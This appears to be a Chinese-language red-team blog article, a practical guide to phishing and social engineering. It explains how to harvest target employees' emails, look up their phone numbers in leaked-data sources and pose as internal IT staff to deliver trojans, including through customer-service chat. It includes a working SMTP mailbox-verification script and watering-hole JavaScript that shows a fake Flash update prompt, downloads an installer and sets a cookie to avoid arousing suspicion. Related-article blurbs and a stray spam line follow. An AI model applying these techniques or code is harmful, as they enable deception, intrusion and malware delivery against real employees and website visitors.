<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    實戰 | 釣魚與社工系列之尋魚

    VSole2023-04-03 10:44:03

    0x01 廣撒網

    從互聯網中收集目標員工郵箱,發送釣魚郵件

    0x01-1 郵箱收集-theHarvester

    這里推薦使用theHarvester腳本收集郵箱

    https://github.com/laramies/theHarvester
    

    語法:-d參數指向目標的域名,-b all是用調用theHarvester的所有模板查找郵箱

    python3 theHarvester.py -d xxx.com -b all
    

    0x01-2 郵箱收集-搜索引擎

    微匹:http://www.veryvp.com/hunter: https://hunter.io/search/domain.comskymem: https://www.skymem.info/
    

    0x01-3 郵箱收集-驗證郵箱有效性

    收集到郵箱后,可以先驗證郵箱是否真實有效,通過以下的腳本驗證郵箱的真實性,腳本在文章末尾。

    然后對這些真實存在的郵箱發送釣魚郵件即可。

    郵件內容要能吸引員工興趣,最好是關乎到他們的利益,這樣才能誘導他們查看。

    并且設置自己的郵箱昵稱與目標相關,例如:行政服務部

    0x01-4 QQ等第三方郵箱發送釣魚郵件

    0x01-5 目標員工郵箱

    使用目標員工的郵箱發送馬,不用考慮郵件網關導致發不進去

    0x01-6 OA辦公系統

    OA辦公系統可以獲取目標大量員工聯系方式,對一些安全意識薄弱的部門員工發送“非常重要”的消息。

    0x02 定向釣魚(制作對應魚餌)

    0x02-1 對收集到的郵箱用戶定向釣魚

    通過tg的社工庫查郵箱獲取手機號,再通過手機號添加微信定向社工。

    下圖是我通過qq郵箱發送釣魚郵件后,如果郵箱存在,則會顯示已投遞到對方郵箱,如果郵箱不存在,則顯示投遞失敗,已退信。

    通過該方法,也可以判斷郵箱是否有效。

    通過qq郵箱發送,還有一個好處,就是有些用戶會設置自動回復或者回復了我們的郵件,那么這時候就可以獲取到該用戶的一些信息。

    從收集到的郵箱中中選擇了lining9用戶的郵箱,在tg中找到了該郵箱泄露的信息,我們應該關注的重點信息是手機號

    然后通過微信小號查找該手機號,并添加對方為好友。

    這里我直接報對方的名字和郵箱號,一是可以判斷是否加錯,二是獲取對方的信任。

    制作和目標相關的木馬,這個需要先去了解目標的情況。

    這里我是調查了他們員工都是用了一種安全桌面客戶端,所以我就偽裝自己是公司的技術部門,讓他更新補丁,于是將馬發送給他后,不一會兒就上線到CS了。

    0x02-2 通過關鍵字尋找魚并定向釣魚

    舉個例子,通用關鍵字有:聯系方式、簡歷、招聘、應聘、貸款、手機號、郵箱 等等

    對于一些特殊行業,那么可以自己聯想關鍵字,例如 投標、招標、投訴 等等

    自己發揮想象,各種關鍵字相互組合。


    目標名字"XXXX"  聯系方式        投遞簡歷        hr        招聘        應聘        貸款        手機號
    

    制作一個應聘簡歷馬,然后發過去就可以了。

    0x02-3 在線客服

    一些企業或者金融行業,他們的網站都有在線客服功能。那么可以通過人工服務去定向社工。

    例如:在線客服處有上傳文件的功能,那么就將我們的馬直接傳上去,誘導客服運行。

    或者就想辦法加這些客服人員的微信,具體的話術自己構造。

    上圖中的馬的名字也是有根據的,我是在他們的網站上找到下面的信息,然后問客服打不開文件是什么原因。誘導客服嘗試打開我們的馬。

    0x02-4 水坑

    前提:拿下了webshell后,在webshell中植入下面的項目。


    https://github.com/r00tSe7en/Flash-Pop
    

    效果:當有人第一次訪問時,會觸發下圖的彈框,誘導訪問者點擊立即升級,這時候會跳轉到我們的Flash木馬地址自動下載。當訪問者點擊安裝了木馬后,就會上線到遠控端。然后將訪問者的瀏覽器設置一個cookies,避免訪問者刷新后又彈框。這樣就不會觸發訪問者的警覺了,誤以為安裝了Flash后就可以了。

    驗證郵箱真實性腳本


    '''在線驗證郵箱真實性'''import randomimport smtplibfrom termcolor import cprintimport dns.resolverimport timefrom queue import Queuefrom threading import Thread# 查詢郵件服務器def get_mailServer(server):    print('查找[{}]郵箱服務器...'.format(server))    try:        answers = dns.resolver.query(server, 'MX')        res = [str(rdata.exchange)[:-1] for rdata in answers]        print('\t[{}]郵件服務器:{}'.format(server, res))        return res    except Exception as e:        print('\t[error] : {}'.format(e.args))        return []# 判斷郵箱是否存活def checkEmail(mailServers, emails_queue, aliveEmails):    try:        mailServer = random.choice(mailServers)        print('\t連接服務器:{}'.format(mailServer))        s = smtplib.SMTP(mailServer, timeout=10)    except Exception as e:        print('\t[error] : {}'.format(e.args))        return    while not emails_queue.empty():        email = emails_queue.get()        num = emails_queue.qsize()        try:            helo = s.docmd('HELO chacuo.net')            # print(helo)   # (250, b'Forcepoint email protection service')            send_from = s.docmd('MAIL FROM:')            # print(send_from)  # (250, b'2.1.0 Ok')            send_from = s.docmd('RCPT TO:<%s>' % email)            # print(send_from)  # (550, b'5.1.1 Error: invalid recipients is found from 101.68.81.227') 或者 (250, b'2.1.5 Ok')            if send_from[0] == 250 or send_from[0] == 451:                # final_res[email] = True  # 存在                cprint('\t[{}] [+] {}'.format(num, email), 'red')                aliveEmails.append(email)            elif send_from[0] == 550:                # final_res[email] = False  # 不存在                print('\t[{}] [-] {} 不存在'.format(num, email))            elif send_from[0] == 503:                cprint('\t[{}] [-] {} code = 503 重新連接郵件服務器{}'.format(num, email, mailServer))                s.close()                time.sleep(10)                try:                    s = smtplib.SMTP(mailServer, timeout=10)                except Exception as e:                    s.close()                    time.sleep(10)                    s = smtplib.SMTP(mailServer, timeout=10)                helo = s.docmd('HELO chacuo.net')                send_from = s.docmd('MAIL FROM:')                send_from = s.docmd('RCPT TO:<%s>' % email)                if send_from[0] == 250 or send_from[0] == 451:                    cprint('\t[{}] [+] {}'.format(num, email), 'red')                    aliveEmails.append(email)                elif send_from[0] == 550:                    print('\t[{}] [-] {}'.format(num, email))            else:                # final_res[email] = None  # 未知                print('\t[{}] [-] {} : {} : {}'.format(num, email, send_from[0], send_from))        except Exception as e:            print('\t[{}] [error] {} : {}'.format(num, email, e.args))            s.close()            try:                s = smtplib.SMTP(mailServer, timeout=10)            except Exception as e:                s.close()                time.sleep(10)                s = smtplib.SMTP(mailServer, timeout=10)    s.close()def run(emails):    Server_emails = {}          aliveEmails = []    # 存活的emails    for email in emails:        name, server = email.split('@')        if Server_emails.get(server):            Server_emails[server].append(email)        else:            Server_emails[server] = [email]    print(Server_emails)    for server in Server_emails:        mailServers = get_mailServer(server)        if mailServers:            emailsNums = len(Server_emails[server])            emails_queue = Queue(-1)            for email in Server_emails[server]:                emails_queue.put(email)            threads = []            for i in range(5):                t = Thread(target=checkEmail, args=(mailServers, emails_queue, aliveEmails))                threads.append(t)                t.start()            for t in threads:                t.join()    return aliveEmailsdef run_verifyEmails(emails):    aliveEmails = run(emails)    return aliveEmailsif __name__ == '__main__':    emails = []    with open('mail.txt', 'rt') as f:        for each in f.readlines():            emails.append(each.strip())    aliveEmails = run_verifyEmails(emails)    print(aliveEmails)
    

    flash.js新增代碼,通過新增cookeis避免多次彈框:

    function setCookie(cname,cvalue,exdays) {  var d = new Date();  d.setTime(d.getTime() + (exdays*24*60*60*1000));  var expires = "expires=" + d.toGMTString();  document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";}function getCookie(cname) {  var name = cname + "=";  var decodedCookie = decodeURIComponent(document.cookie);  var ca = decodedCookie.split(';');  for(var i = 0; i < ca.length; i++) {    var c = ca[i];    while (c.charAt(0) == ' ') {      c = c.substring(1);    }    if (c.indexOf(name) == 0) {      return c.substring(name.length, c.length);    }  }  return "";}var download666 = function() {    setCookie("username1", "True", 30);    setTimeout("location.href='./'", 500 );    setTimeout("localStorage.setItem('isUpdate', '1');", 500 );    window.open('./autoinstall/flashplayerpp_install_cn.exe');}function checkCookie() {    var user=getCookie("username1");    if (user == "") {        document.write("");        document.write("");        window.onload = function(){            layer.open({                type: 1,                move: false ,                area: ['613px', '328px'],                title: false,                shade: 0.6,                //maxmin: true ,                anim: 1,                offset: '100px',                scrollbar: false,                content: ''//創建圖像            });        }    }}checkCookie();
    


    email
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Apache Commons-Email是美國阿帕奇(Apache)軟件基金會的一個提供電子郵件發送功能的應用程序編程接口。 Apache Commons-Email 1.0版本至1.4版本中存在信息泄露漏洞,該漏洞源于程序沒有正確的驗證輸入。遠程攻擊者可借助特制的數據利用該漏洞獲取敏感信息。
    Microsoft Exchange是全球最常用的Email服務器之一,主要用于對企業網絡中的Email通信進行集中管理。它在互聯網上普遍性和可訪問性使其成為攻擊者的首選目標之一。
    梭子魚網絡在 5 月 20 日披露其 Email Security Gateway(ESG) 發現了一個 0day——遠程命令注入漏洞 CVE-2023-2868。而這個 0day 從去年 10 月起被活躍利用了 8 個月,被攻擊者利用安裝惡意程序竊取敏感數據。梭子魚在六月初發布了不同尋常的聲明,建議客戶直接替換受影響的設備。現在我們知道了原因:修復的設備又重新感染了惡意程序。安全公司 Mandi
    近日,國外安全專家發現勒索軟件Blind的新變種,該變種以“[email] .napoleon”作為加密文件的后綴名,懷疑攻擊者是通過入侵IIS服務器部署分發的勒索軟件。 國家計算機病毒應急處理中心建議廣大計算機用戶加強安全防范意識,做好日常備份(最好是異地備份),不要訪問包含未知風險的網站或打開不明來歷的電子郵件附件,保持開啟殺毒軟件實時監控功能,并持續關注我中心網站上關于勒索軟件的有關
    近日,國外安全專家發現BTCWare勒索軟件的新變種,該變種將.[email]-id-id.shadow擴展名附加到加密文件中。BTCWare勒索軟件主要通過利用RDP(遠程桌面協議)暴力破解遠端機器的密碼實現攻擊。
    BEC攻擊主要針對商業、政府以及非營利性組織,這種攻擊產生的影響巨大,可導致大量的企業信息數據丟失、發生安全事件甚至造成財產損失。新冠疫情后,遠程辦公進一步推動了視頻會議應用程序的火熱。顯而易見,近來BEC的關注度正在迅速凸顯,并且相關事件不斷增加,攻擊者也在不斷地創新作案手法和工具。
    近日,國外安全研究人員在其網站上發現Dharma勒索軟件出現了新的變種,將.id-[id].[email].bip擴展名附加到加密文件中。目前尚不清楚新的變種如何傳播,但Dharma早期通過入侵遠程桌面服務、手動安裝的方式傳播。
    用于紅隊快速收集頂級域名或者ip相關關聯的資產
    后面忙的時候會繼續更新這個,不忙的時候不更新。。。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类